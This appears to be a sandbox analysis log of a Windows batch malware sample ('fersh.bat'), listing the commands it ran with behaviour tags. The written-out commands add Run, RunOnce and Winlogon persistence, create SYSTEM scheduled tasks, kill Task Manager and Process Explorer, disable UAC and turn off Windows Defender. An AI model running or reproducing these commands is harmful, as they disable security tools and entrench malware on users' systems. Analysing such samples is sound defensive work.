reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f
1⤵
- Modifies WinLogon for persistence
PID:5792

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6052

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f
1⤵
- Adds Run key to start application
PID:712

C:\Windows\System32\attrib.exe
attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4724

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f
1⤵
- Modifies WinLogon for persistence
PID:3568

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
1⤵
- Adds Run key to start application
PID:2508

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6076

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:2896

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
1⤵
- Adds Run key to start application
PID:1768

C:\Windows\System32\cmd.exe
cmd /c ":loop
1⤵
PID:2880

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3584

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\System32\drivers\etc\fersh.bat" /f
1⤵
- Modifies WinLogon for persistence
PID:5472

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5416

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onlogon /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5636

C:\Windows\System32\cmd.exe
cmd /c ":loop
1⤵
PID:5876

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1104

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onstart /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5000

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5744

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5704

C:\Windows\System32\cmd.exe
cmd /c ":loop
1⤵
PID:5304

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5468

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5960

C:\Windows\System32\chcp.com
chcp 65001
1⤵
PID:3364

C:\Windows\System32\timeout.exe
timeout /t 1 /nobreak
1⤵
- Delays execution with timeout.exe
PID:4124

C:\Windows\explorer.exe
explorer.exe ,C:\Windows\System32\drivers\etc\fersh.bat
1⤵
PID:4392

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:300

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:256

C:\Windows\System32\timeout.exe
timeout /t 1 /nobreak
1⤵
- Delays execution with timeout.exe
PID:2304

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6000

C:\Windows\System32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:2960

C:\Windows\System32\timeout.exe
timeout /t 1 /nobreak
1⤵
- Delays execution with timeout.exe
PID:3492

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
PID:4340

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:5972

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:2900

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:5020

C:\Windows\System32\net.exe
net stop WinDefend /y
1⤵
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop WinDefend /y
  2⤵
  PID:1508

C:\Windows\System32\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:5336

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5516

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4068

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Windows\System32\attrib.exe
attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5248

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
1⤵
- Adds Run key to start application
PID:2928

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
1⤵
- Adds Run key to start application
PID:5088

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\System32\drivers\etc\fersh.bat" /f
1⤵
- Modifies WinLogon for persistence
PID:1260

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onlogon /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3204

C:\Windows\System32\schtasks.exe
schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onstart /ru "SYSTEM" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5908